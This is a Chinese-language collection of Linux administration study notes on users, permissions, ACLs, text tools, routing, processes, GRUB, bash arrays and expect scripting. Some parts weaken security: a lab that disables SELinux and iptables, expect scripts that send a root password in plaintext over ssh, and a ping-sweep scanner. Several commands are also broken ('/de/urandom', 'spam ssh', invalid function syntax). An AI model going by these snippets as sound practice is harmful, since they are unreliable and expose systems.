        *** [[chage]] -d 0 [acc] #设置密码过期
    ** 密码最长有效期(99999 表示永不过期)
        *** [[chage]] -M [AGE]
    ** 密码过期前几天系统提醒用户(默认为一周)
    
    ** 密码过期几天后帐号会被锁定
    ** 账号有效期 从1970 年1 月1 日起的天数

* group
    ** 群组名称:就是群组名称
    ** 群组密码:通常不需要设定,密码是被记录在/etc/gshadow
        *** [[gpasswd]] `group`
    ** GID的 :就是群组的 ID
    ** 以当前组为附加组的用户列表( 分隔符为逗号)
    ** command
        *** [[groups]] #查看
        *** [[groupmems]] #查看组成员
        *** [[newgrp]] # 切换主组
        *** [[gpasswd]] -g # group admin add user 2group
        
* exp<pre>
    
    ```bash
    # 创建账号
    # 设置密码
    # 口令失效
    
    # 组密码测试
    #
    # 设置user1主组
    # 设辅助组group1
    # 新建文件f1, 查看文件所属组
    # 切换主组group2
    newgrp
    # 新建文件, 查看文件所属组
    # 添加组group3 , 设置组密码
    # 切换到user1
    # user1 切换组group3
    
    # 组管理员
    gpasswd -A user1 group1
    # su - user1
    # root only
    usermod -aG user2 group1
    # group admin
    gpasswd -a  user2 group1
    
```
</pre>


* 文件修改
    ** [[vipw]]
    ** [[vigr]]
    ** [[pwck]]
    ** [[grpck]]
* 用户管理命令
    ** [[useradd]]

    ** [[newusers]] passwd file
    ** [[chpasswd]] 批量修改密码
    ** [[usermod]]
            
    ** [[userdel]]
    ** [[id]]
    ** [[su]] 
    ** 设置密码
       *** [[passwd]]

    ** 修改用户密码策略
        *** [[chage]]
            
    ** 用户相关的其它命令
        *** [[chfn]] 指定个人信息
        *** [[chsh]] 指定shell
        *** [[finger]]

*组帐号维护命令
    **创建组
        *** [[groupadd]]
            
    ** 组属性修改
        *** [[groupmod]]
            
    ** 删除组
       *** [[groupdel]]
    
    ** 更改组密码
        *** [[gpasswd]]
            
    ** 临时切换主组
        *** [[newgrp]] 命令:临时切换主组
        *** 如果用户本不属于此组,则需要组密码

    ** 更改和查看组成员
        *** [[groupmems]]
        *** [[groups]] 
    ** 修改文件的属主和属组
        *** 修改文件的属主:[[chown]]
        *** 修改文件的属组:[[chgrp]]
* 文件权限
    ** 文件的权限主要针对三类对象进行定义
        *** owner: 属主, u
        *** group: 属组, g
        *** other: 其他, o
    ** 每个文件针对每类访问者都定义了三种权限
        *** r: Readable
        *** w: Writable
        *** x: eXcutable

* 文件权限
    ** 文件:
        *** r: 可使用文件查看类工具获取其内容
        *** w: 可修改其内容
        *** x: 可以把此文件提请内核启动为一个进程
    ** 目录:
        *** r: 可以使用ls 查看此目录中文件列表
        *** w: 可在此目录中创建文件,也可删除此目录中的文件
        *** x: 可以使用ls -l 查看此目录中文件列表,可以cd 进入此


    ** 修改文件权限 [[chmod]]
        *** `备份文件权限` [[backup_file_mod]]
        *** `搜索具有可执行权限的脚本` [[find]]
              
    ** 新建文件和目录的默认权限 [[umask]]

# sgid
    ## file:
        ### 继承组身份<pre>
        chmod g+s
        chmod 2755
        </pre>
    ## dir:
        ### 文件夹下的新建文件继承文件夹组身份
    
# sticky 
    ## 只能作用在目录上 .
    ## `chmod o+t /app/f1`
    ## 禁止除owner和root之外的用户的删除操作
    ## `/tmp`
    
# 特殊文件属性 [[chattr]]
    ## 更改 -i
    ## 追加 -a
    ## 时间戳 -A
    
# ACL 
    ## 查看acl功能
        ### centos6<pre>
        
```bash
            tune2fs /dev/sda |grep option
            mount -o remount,acl /dev/sda
```
            </pre>
        ### centos7
            #### 默认开启
* 管道 pip
    ** stderr 默认不做管道转发 , 
        *** 2&>1    转发stderr
        *** |&      转发stderr
        *** `errcmd | tr '[:lower:]' '[:upper:]'`
    ** [[more]]
        man ls| less
    ** [[less]]
    ** - 前一个命令的标准输出
        *** tar -cvf - /home | tar -xvf
* 文本提取工具
	** [[cat]]
	** [[tac]]
        *** 行反向显示
	** [[rev]]
        *** 列反向显示
    ** [[more]]
        *** 翻页
        *** 搜索
    ** [[less]]
        *** 翻页
        *** 搜索
    ** [[head]]
        *** -n 3 行
        *** -c 3 字节
        *** -#<pre>

```bash
openssl rand -base64 30 | head -c30
openssl rand -hex 30 | head -c30
cat /de/urandom | tr -dc '[:alnum:]_#'| head -c30
tr -dc '[:alnum:]_#' < /de/urandom | head -c30
```
        </pre>
    ** [[tail]]
        *** -f 持续跟踪
        *** -n 0
        *** -#
        *** -F 监视文件是否存在.
        *** [[tailf]]
    ** [[cut]]
        *** 以列为单位cut
        *** -f 指定列
            **** -f 1,3 ,5
            **** -f 1-3,5
        *** -d 列分隔符
        *** --output-delimiter
            **** 输出分隔符
        *** exp<pre>
        
```bash
ifconfig eth0 | head -n2 | tail -n1 | tr -s " " :| cut -d -f4
```
        </pre>
    ** [[paste]] 
        *** 横向合并
        *** -d 指定分隔符
        *** -s 单个文件合并成一行 , 多个文件合并成多行.
分配文件描述符
;分配
:<pre>

```
exec /proc/$$/fd/8 -l
ls /proc/$$/fd/8`
```
</pre>
;取消
:<pre>

```bash
 exec 8>&-
```
</pre>
* 统计工具
    ** [[wc]]
        *** -l line
        *** -w word
        *** -c byte
        *** -m 字符数
        *** -L 最长的行
    ** [[sort]]
        *** -t 分隔符
        *** -k 排序列
        *** -n 数字排序
        *** -r 倒序
        *** -h human size 排序
        *** -u 去重
    ** [[uniq]]
        *** -c 统计
        *** -d double only
        *** -u uniq only
     
# user group 相关文件格式
# 权限查找顺序 , user > group > other . 匹配既breack
# umask
# suid , sgid . sticky
    ## suid 
        ### 继承bin文件所有者身份<pre>

```bash
chmod u+s
chmod 4755
```
</pre>
        ### 只能作用在二进制,不能作用在脚本上
        ### 故障表现方式
        ###'' bin文件安全风险''
        #### 移动设备中的特殊权限的文件
        #### 查找具有特殊权限的二进制文件<pre>

```bash
find perm *
```
        </pre>

## sgid
    ### file:
        #### 继承组身份<pre>

```bash
chmod g+s
chmod 2755
```
</pre>

    ### dir:
        #### 文件夹下的新建文件继承文件夹组身份
    
##. sticky 
    ### 只能作用在目录上 .<pre>

```bash
chmod o+t /app/f1
```
</pre>
    ### 禁止除owner和root之外的用户的删除操作
    ### `/tmp`



# 01 默认umask , 新文件默认权限

# 03 临时修改默认umask , 查看新建文件和文件夹的默认权限

# 04 永久更改umask

# 05. umask算法 + 和& 的算法bug,及算法实现 .



    
# 特殊文件属性 [[chattr]]
    ## 更改 -i
    ## 追加 -a
    ## 时间戳 -A
    
# ACL 
    ## 查看acl功能
        ### centos6<pre>
        
```bash
tune2fs /dev/sda |grep option
mount -o remount,acl /dev/sda
```
</pre>
        ### centos7
            #### 默认开启
    ## setfacl
        ### 设置<pre>
        
```bash

```
        </pre>
        ### 修改<pre>
        
```bash
setfacl -m u:u1:rwx f1
setfacl -m g:g1:rwx f1
```
        </pre>
        ### 删除<pre>
        
```bash
setfacl -x u:u1 f1
setfacl -x g:g1 f1
```
        </pre>
        ### 递归<pre>
        
```bash
mkdir -p ./d1/d1/d1
setfacl -Rm u:u1:rwx d1
```
        </pre>
        
        ### 备份恢复<pre>
        
```bash
getfacl -R d1 > mod.bak
setfacl --restore=mod.bak
```
        </pre>
        ### 批量<pre>
        
```bash
#修改
setfacl -M
#删除
setfacl -X
```
        </pre>
        ### 清空acl<pre>
        
```bash
setfacl -b f1
```
        </pre>
        ### default<pre>
        
```bash

```
        </pre>
        ### mask
            ###影响除owner和other之外的所有用户<pre>

```bash

setfacl -m mask::r f1
```
    </pre>
    ## 权限计算
        ###owner
        ### user
        ### 组权限累加 && mask
        ### other

* exp <pre>

```bash
useradd u1
useradd u2
useradd u3
groupadd g1
groupadd g2
usermod -aG g1 u1
usermod -aG g2 u1
usermod -aG g1 u2
usermod -aG g2 u2
mkdir mod_test;cd mod_test
touch f1

chown u3:u3 f1
setfacl -m u:u1:r f1
setfacl -m g:g1:w f1
setfacl -m g:g2:x f1

echo u:u3:rwx > u3.acl
setfacl -M u3.acl f1

echo g:g1 >> del.acl
setfacl -X del.acl f1
setfacl -x mask f1

setfacl -b f1

setfacl -x u:u1 f1
setfacl -x g:g1 f1
setfacl -x g:g2 f1
cd ..;rm -rf mod_test
userdel -r u1
userdel -r u2
userdel -r u3
groupdel g1
groupdel g2

```
        </pre>
        
        
        
 
* 文件对比
    ** diff
        *** -u<pre>
        
```bash
diff f1 f2 -u > f12.diff

```
        </pre>
    ** patch<pre>
    
```bash
    patch -b f1 f12.diff
```
    </pre>
* 文本处理三剑客之grep
    ** egrep , fgrep
    ** grep
        *** input
            **** file
            **** stdin
            **** -
        *** 引号
            **** 反向单引号 命令
            **** $USER 变量
            **** "" 识别变量不识别命令
            **** 单引号 字符串
        *** option
            **** -v 取反
            **** -i 大小写不敏感
            **** -n 显示行号
            **** -c 统计匹配行数
            **** -q 静默模式 ,只返回1,0
            **** -o only print 匹配到的字符串
            **** -A # 后#行
            **** -B # 前#行
            **** -C # 中间#行
            **** -e 条件或
            **** -w 单词匹配 字母和数字下划线
            **** -E egrep
            **** -F 非正则 fgrep 
!路由
{{单臂路由}}
        
!17.2
    # . 不同掩码的ip相互通讯的算法 .
    # . 公有ip
    # . 私有ip
    # . 特殊地址
        ## 0.0.0.0
        ## 127.*
        ## 224-239.*
        ## 169.254.*
    # 子网划分
        ## 子网向父网主机位借位.
        ## 10段划分32个子网
!17.3
    #  合并超网
        ## 子网网络ID 做与运算
    # 跨网络通讯
    # 默认路由
        ## 0.0.0.0/0
    # 路由表的构成
        ## 网络id 接口 网关
!!DHCP
    # DHCP包分发过程
    # replay agent (router config)
    
!!hostname
    #/etc/hosts
    lsmod
    # exp:centos6修改网卡名称<pre>

    ```bash
    # 修改网卡名
    /etc/udev/rules.d/70.persistent-net.rules
    # 查询网卡驱动
    ethtools -i eth0
    # 检索驱动
    lsmod | grep e1000
    # 卸载驱动
    modprobe -r e1000
    # 重新加载驱动
    modprobe e1000
```
</pre>
!!network相关命令
    ifconfig 
    route netstat

```
    netstat -nltup
    
```
    ip add | ip link


```bash
    # 添加地址
    ifconfig eth0 1.1.1.1/24
    # 网卡别名
    ifconfig eth0:1 1.1.1.2/24
    # shutdown
    ifconfig eth0 down #最佳实践
    ifconfig eth0
    # 需要在/etc/sysconfig/network-scripts/下有配置文件
    # 统计信息
    ifconfig -s eth0
```
    ip ss tc
    system-config-network-tui
    setup

```bash

# 静态路由实验

all# getenforce
All# setenforce 0
all# /etc/sysconfig/selinux --> selinux=disabled
All# chkconfig iptables off
all# service iptables stop

H1# ifconfig eth0 192.168.2.100/24
H1# route add default gw 192.168.2.1

R1# ifconfig eth0 192.168.2.1/24
R1# ifconfig eth1 192.168.3.1/24
R1# echo 1 > /proc/sys/net/ipv4/ip_forward

R2# ifconfig eth1 192.168.3.2/24
R2# ifconfig eth0 192.168.4.1/24
R2# echo 1 > /proc/sys/net/ipv4/ip_forward

H2# ifconfig eth0 192.168.4.100/24
H2# route add default gw 192.168.4.1

##############
#
# router
#
##############

R1: route add -net 192.168.4.0/24 gw 192.168.3.2
R2: route add -net 192.168.2.0/24 gw 192.168.3.1

#######
#test
#######

H1# ping 192.168.4.100
H2# ping 192.168.2.100

#tcpdump -i ens33 -nn icmp
```
    
!! 混杂模式
!19.01
    # BIG O
    #cow 写时复制
    #LRU ()最近访问算法
    #MMU 逻辑地址和物理地址转换
    #TLB MMU的buffer
    #IPC : INTER PROCESS COMMUNICATION
        ## 同一pc:
            ## signal
        ## 不同主机
            ### RPC:
            ### MQ
!19.02
    #CMD
        ## [[pstree]]<pre>

```
    -p  # pid
    {}  # 里的是[[线程]]
        # [[进程]]和[[线程]]的区别
    pstree -ps 1437     # pid相关的进程 # centos7
    pstree -h {pid}     # 高亮
```
</pre>
        ## ps<pre>

```bash
    #bsd
    a #all process
    x # 终端无关
    u # 进程的user信息
    vsz # 承诺分配的内存
    RSS # 实际的物理内存
    start # 进程启动时间
    time    # 占用的时间片
    ps -ef 
    c   # cpu使用率
    f   # 树状结构显示
    ps axo {字段} #选择显示字段
    ps auo cmd,pid,%cpu,%mem k %mem
        # k 排序字段
    ps auo cmd,pid,%cpu,%mem --sort %mem
    ps L #可用的列
    # unix 模式
    -C 过滤
    # PS 脚本抬头 , 直接运行.
    组合
    ps -C <> 0 <>
    ps -lef #显示线程
    -F # 完整格式
    PSR # 进程跑在那个cpu核心上
    -u 生效的用户
    -U 运行的用户
    ps -C <process> o pid,cmd,%cpu
    ppid 子进程
    # ps -fU <user> #显示用户进程
    # ps -f --ppid (父进程id) 
    ps -ft pts/1
```
</pre>

!19-03
    #renice<pre>
    
```bash
renice -n -20 <pid>
```
</pre>
    #nice<pre>
    
```bash
nice -n <nice value> <command>
nice -n -5 ping -f 127.1
nice -5 ping -f 127.1
nice --5 ping -f 127.1
```
</pre>

    # pri 优先级

    #系统优先级
    # [[pgrep]]<pre>

```bash
    -t          # terminal
    -l list     # process
    -a list     # all process
    -P <PID>    # list子进程
    -u user     # user 相关
    # 扩展正则表达式
    pgrep -l "^p.*" 
    
```

</pre>

    # [[pidof]] # 查看进程名称<pre>
    
    # 最佳实践#可以用来写watchdog

```bash
    pidof httpd;echo $?;
    service httpd stop;
    pidof httpd;echo $?
```
</pre>

    # [[uptime]] #查看系统负载<pre>
    
```bash

```
</pre>
    # [[top]] <pre>
    
    
```bash
# 实时显示系统状态
hi #硬中断
si # 软中断
st # 被偷走的时间片
-b # all in one
-d # 时间间隔
-n # 刷新次数

```
</pre>
    
    #htop<pre>

```bash

```
</pre>
    
    
    #strace<pre>
    
```bash
# 系统调用
```
</pre>
    # lsof<pre>
    
```bash
lsof -i :22

```
</pre>

    # htop
    # vmstat<pre>
    
```bash
#swap
si read 2 mem from swap
so write 2 swap from mem
#io
bi read 2 mem from disk
bo write 2 disk from mem
#cpu
cs
us


# 选项
vmstat 1
```
</pre>

    # iostat<pre>
    
```bash

```
</pre>

    # pmap<pre>
    
```bash
pmap <pid>
ls /proc/<pid>/maps| wc -l
ls /proc/<pid>/fd/| wc -l
# 内存泄露

```
</pre>

    # glance<pre>
    
```bash
glances -s -B <IP>
#DEFAULT PORT 61209

```
</pre>
    
    
    # [[dstat]]<pre>
    
```bash
yum install dstat

```
</pre>
    
    
    # iotop<pre>
    
```bash

```
</pre>


#问题 <pre>

```bash
buffer 和cache 

ctrl +c 和ctrl+z
ctrl + \

```

</pre>



!!19.04

# kill -9<pre>
    
```bash
kill -l
kill -1 <pid> 
    #重启进程重读配置文件
    # signal 1
    # signal 2 == ctrl + c
    # signal 3
    # signal 15
    # signal 0 # 测试进程是否可以正常接收信号
        # 最佳实践
    # signal 18
        # 继续运行 == bg runing
    # signal 19
        # 睡眠 == bg stop
```
</pre>
        
    # killall <pre>
    
```bash
killall -0 <p name>#最佳实践 #测试进程是否正常

```
</pre>
    # trap<pre>
    
```bash
trap -l
```
</pre>
    # pkill<pre>
    
```bash
pkill -9 -t pts/2
    # 杀死终端所有进程
pkill -u <user_id>
    # 杀死用户下的进程
pkill -9 -P <PID>
    #杀死子进程
```
</pre>

    # jops<pre>
    
```bash
# 查询后台作业
```
</pre>

    # bg<pre>
        
```bash
#放后台执行
bg <job_id>
```
</pre>

    # fg<pre>
        
```bash
# 调取到前台执行
fg <job_id>
```
</pre>

    # &<pre>
        
```bash
#centos 6
cmd & 终端断开后进程不终止
# centos 7
cmd & 终端断开后进程终止
```
</pre>

#nohup<pre>
            
```bash
nohup cmd &
```
</pre>
    
```bash
#故障 -- sigleuser mod 修改服务
!rc.local
/etc/rc5.d/s99local --> /etc/rc.local
#centos7 上默认没有执行权限
#************************
# service
service --list-all
service start|stop|restart

#************************
# 超级服务守护进程
#************************
xinetd(centos6)
#install
yum install xinetd
yum install telnet
# enable
chkconfig telnet on
cat /etc/xinetd.d/telnet
#手动修改后重启xinet服务
service xinetd restart
#***********************
# systemd (centos7)
# systemd 做超级守护进程
#***********************

#*************************
# 
#inittab
# runlevel
# 初始化脚本
# runlevel脚本
# ups自动关机功能
# ups取消关机功能
# 启动默认登录终端
# 图形模式的服务器端启动
# 屏蔽ctrl+alt+del 重启功能
#************************

#*********************
# grub
#*********************

#stage 01
#备份grub启动程序
#备份分区表
dd if=/dev/sda of=/data/mbr bs=1 count=512
#重新安装
grub-install /dev/sda
#grub 禁用selinux
selinux=0
#grub 交互安装
grub> root (hd0,0)
grub> setup (hd0)
#交互式需要借助/boot/grub 

#*********************
# stage 1.5
dd if=/dev/sda of=/data/mbr bs=1 count=10000 skip=512 seek=512
# 修复
grub-install
grub
#修复过以后启动会依赖/boot/grub

#********************
# stage 2
# grub.conf
default # 默认启动项
timeout # 超时时间
hiddenmenu # 默认隐藏菜单
splashimage #启动背景640x480png | jpg
 yum install imagemagick
 convert -resize 640x480 -colors 14 win.jpg win.xpm
 gzip win.xpm 
 mv win.xpm.gz /boot/grub
 splashimage=""
password "" #加密码
grub-md5-crypt
password --md5 "md5sum"
grub-crypt 
password --encrypted ""

kernel 内核文件(vmlinux)
initrd ram系统(ramfs)
ro 只读方式挂载操作系统
root=<跟文件系统的uuid或者dev路径>
rhgb  # 图形界面启动
quiet # 隐藏内核启动信息
```
```bash
#声明为环境函数
export -f 函数名

#数组声明
declare -a array_name
declare -A array_name #关联数组

#赋值
array01[0]=1
array02=(1,2)
array03=({1..100})
array04=(/app/*.sh)
array05=(`ls /`)
array06=([1]=1 [2]=2) #批量单独赋值, 会清空数组
read -a array07 #交互式赋值

#赋值 -- 关联数组

array[a]=''
array[b]=''

#引用
echo ${array01[0]}
echo ${array01[*]} # print all
echo ${array01[@]} # print all
echo ${#array01[*]} # print lenght

#计数
echo ${#array01[*]}

#取index列表
echo ${!array01[*]}

#删除
unset ${array01[0]} #删除单个元素
unset ${array01}    #删除整个数组

#切片
${array01[@]:offset:number}

#追加
array01[${#array01[@]}]=""

#exp
### disk 关联数组
declare -A disk
df| grep 'sd' > disk.info
while read line ;do
  index=`echo ${line}|cut -d " " -f1`
  per=`echo ${line}|sed -r 's/.* ([0-9]+)%.*/\1/'`
  disk[${index}]=${per}
done < disk.info
echo ${disk[*]}

### 随机数 最大值最小值
declare -a rand_array
for i in `seq 10`;do
for ((i=0;i<10;i++));do
  rand_array[${i}]=$RANDOM
  [ $i -eq 0 ] && max=${rand_array[$i]} && min=${rand_array[$i]} && continue
  [ ${rand_array[$i]} -gt $max ] && max=${rand_array[$i]} && continue
  [ ${rand_array[$i]} -lt $min ] && min=${rand_array[$i]}
done
echo "MAX:${max} ,MIN:${min}"

### 统计下标为偶数的文件行数
declare -a files
files=(/var/log/*.log)
declare -i lines=0

for i in $(seq 0 $[${#files[*]}-1]);do
  if [ $[$i%2] -eq 0 ];then
    let lines+=$(wc -l ${files[$i]})|cut -d' ' -f1
  fi
done
echo "Lines:${lines}"
```
```bash
#赋值
str_var=`echo {a..z}`
#切片
${str_var:offset:offset}
# 基于模式切片
${str_var#*str} #删除从0开始删除到第一次匹配str的位置
## 贪婪模式
${str_var##*str} #删除从0开始删除到最后一次匹配str的位置
## 从右删除第一次匹配str的位置
${str_var%word*}
## 贪婪模式
${str_var%%word*}

## 查找替换
${str_var/pattern/new_str}
##贪婪模式
${str_var//pattern/new_str}
## 行首替换
${str_var/#pattern/new_str}
## 行尾替换
${str_var/%pattern/new_str}

## 删除
${str_var/pattern}
## 删除所有匹配项
${str_var//pattern}
## 删除行首
${str_var/#pattern}
## 删除行尾
${str_var/%pattern}
## 转大写
${str_var^^}
## 转小写
${str_var,,}

## 变量赋值
var=${str_var-pattern}

function test_eval(){
  n=10
  echo {1..$n}
  eval echo {1..$n}
}

# 间接变量引用
function test2(){
  title=ceo
  ceo=liming.wei
  echo ${!title}
}
```
```bash
#[cmd]
#mktemp filename[xxx]
'''
  -d
  -p
'''
# install
'''
  =cp + chmod
  -o
  -m
  -g
  -d mkdir

  install /etc/issue /app
  #默认加执行权限
  install -m 655 -o test -g bin /etc/issue /app
'''


#typeset
#declare
'''
  -i int
  -r readonly
  -a A array
  -F f function
  -x display all var
  -I 小写字符串
  -u 大写字符串
'''

#eval
'''
01. 替换命令为字符串
02. 执行命令
'''

function test_eval(){
  n=10
  echo {1..$n}
  eval echo {1..$n}
}
```
```bash
#expect
# install
function install_expect(parameter) {
  yum info expect
  yum install expect -y
}

expect -c 'expect "\n" {send "pressed enter\n"} '
# 选项
'''
 -c from cmd
 -d debug
'''
# 子命令
'''
  spam          #启动新进程
  send          #发送字符
  expect        #接受字符串
  interact      #交互式
  exp_continue
'''
# 设置变量
set var value
# 调用变量
$var

# 位置参数
#第一个位置参数
[lindex $argv 0]
[lindex $argv 1]
# 分支控制
## 单分支
expect "hi" {send "send hi \n"}
## 多分支
expect "hi"     {send "send hi    \n"} \
expect "hello"  {send "send hello \n"} \
expect "bye"    {send "send bye   \n"} 


#exp
# expect 脚本
#!/usr/bin/expect
#设置变量
set ip 192.168.1.4
set password passwd
set user root
set timeout 10
spam ssh $user@$ip
#spawn scp /etc/fstab ${ip}:/app
expect {
  "yes/no" {send "yes\n";exp_continue}
  "password" {send "$password\n"}
}
#interact
expect eof


#exp final
#!/usr/bin/expect
set ip [lindex $argv 0]
set user [lindex $argv 1]
set pass [lindex $argv 2]

spawn ssh $user@$ip
expect {
  "yes/no" {send "yes\n";exp_continue}
  "password" {send "$pass\n"}
}
expect "]#" {send "useradd user01\n"}
expect "]#" {send "echo passwd |passwd --stdin user01\n"}
send "exit \n"
expect eof
#-----END----#

#---------
#bash 中调用expect
ip=$1
user=$2
pass=$3
expect << EOF
expect {
  "yes/no" {send "yes\n";exp_continue}
  "password" {send "$pass\n"}
}
expect "]#" {send "useradd user01\n"}
expect "]#" {send "echo passwd |passwd --stdin user01\n"}
send "exit \n"
expect eof
EOF
#-----END----------#
```
{{内核相关参数}}

{{内核编译}}

{{设备命名规则}}
* 默认变量在当前shell有效
* ''local'' 指定变量作用域
* 子进程不可以调用父进程的函数

```bash
num=300

function num_dis()
{
        local num=200
        echo $num
}

num_dis

echo $num

```
本文主要介绍了如何在shell脚本中输出带颜色的内容。

shell脚本中 echo 和 printf 都可以输出内容。 

;我们看以下示例

```bash
echo -e "\033[43;35m david use echo say Hello World \033[0m \n" 

printf "\033[44;36m david use printf say Hello World \033[0m \n" 

echo -e "\033[47;30;5m david use echo say \033[0m Hello World \n"
```


;它的格式是这样的:

```
echo -e "\033[字背景颜色;字体颜色m 字符串 \033[0m"  或者
printf "\033[字背景颜色;字体颜色m 字符串 \033[0m"  或者
echo -e "\033[字背景颜色;字体颜色m;ascii码m 字符串 \033[0m 字符串(can null) \n" 
```
;原理
;这里以一个例子来说明:

```
echo -e "\033[47;30;5m david use echo say \033[0m Hello World \n" 
#输出字符 “david use echo say”,然后重新设置屏幕到缺省设置,输出字符 “Hello World”后颜色回复正常
```

;作用

```bash
42->背景色为白色, 
30->字体为黑色, 
5->字体闪烁, 
0->关闭所有属性 
```
-e是echo的一个可选项,用于激活特殊字符的解析器, 也就是对反斜线转义符(即\)的解释。

\033引导非常规字符序列。意味着设置属性然后结束非常规字符序列,这里起效果的字符是 47;30;5和0。修改47;30;5可以生成不同颜色的组合,数值和编码的前后顺序没有关系。

;组合命令:

```bash
echo -e "\033[20;1H\033[1;4;32m david use echo say \033[0m Hello World \n"

#这行命令首先\033[20;1H将光标移动到终端第20行第1列,之后的\033[1;4;32m将文本属性设置为高亮、带下划线且颜色为绿色,然后输出Hello,world;最后\033[0m将终端属性设为缺省,这样就不会看到连命令完成后的命令提示符也变了样儿了。
```
;我们可以通过各种命令的组合可以实现对终端输出地复杂控制。

```bash
#范围
0 重新设置属性到缺省设置
1 设置粗体
2 设置一半亮度(模拟彩色显示器的颜色)
4 设置下划线(模拟彩色显示器的颜色)
5 设置闪烁
7 设置反向图象
8 消隐 
22 设置一般密度
24 关闭下划线
25 关闭闪烁
27 关闭反向图象

# 字体颜范围(前景颜色):30~39
30:黑 
31:红 
32:绿 
33:黄 
34:蓝色 
35:紫色 
36:深绿 
37:白色 

38:在缺省的前景颜色上设置下划线
39:在缺省的前景颜色上关闭下划线

# 字背景颜色范围(背景颜色):40~49 
40:黑 
41:深红 
42:绿 
43:黄色 
44:蓝色 
45:紫色 
46:深绿 
47:白色 

nA 光标上移n行 
nB 光标下移n行 
nC 光标右移n行 
nD 光标左移n行 
y;xH设置光标位置 
2J 清屏 
K 清除从光标到行尾的内容 
s 保存光标位置 
u 恢复光标位置 
?25l 隐藏光标 
?25h 显示光标
```

;一些颜色

```bash
echo -e "\033[0m none \033[0m"
echo -e "\033[30m black \033[0m"
echo -e "\033[1;30m dark_gray \033[0m"
echo -e "\033[0;34m blue \033[0m"
echo -e "\033[1;34m light_blue \033[0m"
echo -e "\033[0;32m green \033[0m"
echo -e "\033[1;32m light_green \033[0m"
echo -e "\033[0;36m cyan \033[0m"
echo -e "\033[1;36m light_cyan \033[0m"

echo -e "\033[0;31m red \033[0m"
echo -e "\033[1;31m light_red \033[0m"
echo -e "\033[0;35m purple \033[0m"
echo -e "\033[1;35m light_purple \033[0m"
echo -e "\033[0;33m brown \033[0m"
echo -e "\033[1;33m yellow \033[0m"
echo -e "\033[0;37m light_gray \033[0m"
echo -e "\033[1;37m white \033[0m"
echo -e "\033[0m none \033[0m"
echo -e "\033[0m none \033[0m"
echo -e "\033[0m none \033[0m"
echo -e "\033[0m none \033[0m"
echo -e "\033[0m none \033[0m"

echo -e "\033[40;37m 黑底白字 \033[0m"
echo -e "\033[41;30m 红底黑字 \033[0m"
echo -e "\033[42;34m 绿底蓝字 \033[0m"
echo -e "\033[43;34m 黄底蓝字 \033[0m"
echo -e "\033[44;30m 蓝底黑字 \033[0m"
echo -e "\033[45;30m 紫底黑字 \033[0m"
echo -e "\033[46;30m 天蓝底黑字 \033[0m"
echo -e "\033[47;34m 白底蓝字 \033[0m"
echo -e "\033[4;31m 下划线红字 \033[0m"
echo -e "\033[5;31m 红字在闪烁 \033[0m"
echo -e "\033[8m 消隐 \033[0m "
```
;扩展

```
#预先定义颜色变量
RED_COLOR='\E[1;31m'  
YELOW_COLOR='\E[1;33m' 
BLUE_COLOR='\E[1;34m'  
RESET='\E[0m'

#需要使用echo -e
echo -e  "${RED_COLOR}===david say red color===${RESET}"
echo -e  "${YELOW_COLOR}===david say yelow color===${RESET}"
echo -e  "${BLUE_COLOR}===david say green color===${RESET}"
```

[img[shell_color.png]]

|!字体色  |!背景色|!颜色描述|
|30|40|黑色    |
|31|41|红色    |
|32|42|绿色    |
|33|43|黃色    |
|34|44|蓝色    |
|35|45|紫红色  |
|36|46|青蓝色  |
|37|47|白色    |

|!显示方式     |!      效果|
|0 |终端默认设置 |
|1 |高亮显示     |
|4 |使用下划线   |
|5 |闪烁         |
|7 |反白显示     |
|8 |不可见       |

```python
def color_print():
    for i in range(30,39):
        for j in range(40,49):
            print '[ \033[1;%s;%sm%s---%s\033[0m ]'%(i,j,i,j), 
        print info

color_print()

```
* parallel
:<pre>

```bash
yum install parallel

```
</pre>

* &+wait
:<pre>

```bash

function scan_for(){
    net=$1
    declare -i ip=1
    for ip in {0..255};do
      {
        if ping -c 1 -W1 ${net}.${ip} &>/dev/null ;then
          echo ${net}.${ip} is up
        else
          echo ${net}.${ip} is down
        fi
      }&
    done
    wait
}
```
</pre>
* 数组控制并行数量
:<pre>

```bash
function cmd(){
  n=$((RANDOM%5+1))
  echo "JOB $1 $2 sleep for $n sec ..."
  sleep $n
  echo "job $1 $2 exiting ."
}

max=5

pid=()
</pre>

for ((i=1; i<255; i++));do
  for ((j=0;j<5;j++));do
    if [[ ! "${pid[j]}" ]] || ! kill -0 ${pid[j]} 2>/dev/null ; then
      cmd $i $j &
      pid[j]=$!
      break
    else
      if [[ j+1 -eq 5 ]];then
        echo ${pid[*]},$j
        wait
      fi
    fi
  done
done
wait

```
</pre>

* 命名管道
:<pre>

```bash
function mkseq(){
  declare -i max=3
  pfifo="/tmp/$$.fifo"
  mkfifo ${pfifo}
  exec 6<>${pfifo}
  rm -f ${pfifo}
  local i=0
  for ((i=0;i<max;i++));do
    echo
  done >&6
}

function cmd(){
  n=$((RANDOM%5+1))
  echo "[START] $1"
  sleep $n
  echo "[EXIT ] $1"
}

mkseq

for ((i=1; i<20;i++));do
  read -u6
  {
    cmd $i
    echo >&6
  }&
done

wait
exec 6>&-

```
</pre>


;匿名管道
:<div>

```bash
function mkqueue(){
    tempfifo=$$.fifo
    trap "exec 1000>&-;exec 1000<&-;exit 0" 2
    mkfifo $tempfifo
    exec 1000<>$tempfifo
    rm -rf $tempfifo

    for ((i=1; i<=8; i++));do
        echo >&1000
    done
}

function process(){
    export i=0

    while true;do
        let i=i+1
        read -u1000
        {
            a=$(($RANDOM%5+1))
            echo "Process ${i}: sleep ${a}"
            sleep ${a}
            echo >&1000
        } &
    done
    wait
}

mkqueue
process

```
</div>
```bash
#查看服务器IP连接

netstat -tun | awk '{print $5}' | cut -d: -f1 |sort | uniq -c | sort -n 
 
-tun:-tu   #是显示tcp和udp连接,n是以IP地址显示
cut -d:-f1 # cut是一个选择性显示一行的内容命令,-d指定:为分隔符,-f1显示分隔符后的第一个字段。
uniq -c:   # 报告或删除文中的重复行,-c在输出行前面加上出现的次数
sort -n:   #根据不同类型进行排序,默认排序是升序,-r参数改为降序,-n是根据数值的大小进行排序
```
```bash
#查找服务器80端口请求数最多的前20个IP,常用于查找攻来源:
netstat -ant |awk '/:80/{split($5,ip,":");++A[ip[1]]}END{for(i in A) print A[i],i}'|sort -rn|head -n20

14 10.3.15.24
13 10.3.15.2
6 47.93.139.12
4 60.205.59.71
4 60.205.57.88
4 47.93.137.231
2 10.111.21.20
1 47.97.78.228
1 39.107.54.171
1 10.3.15.247
1 10.111.21.19
1 100.100.30.25
```
!工作原理
:<div>

```

实际上在应用中基于很多原因,CPU的执行单元都没有被充分使用。

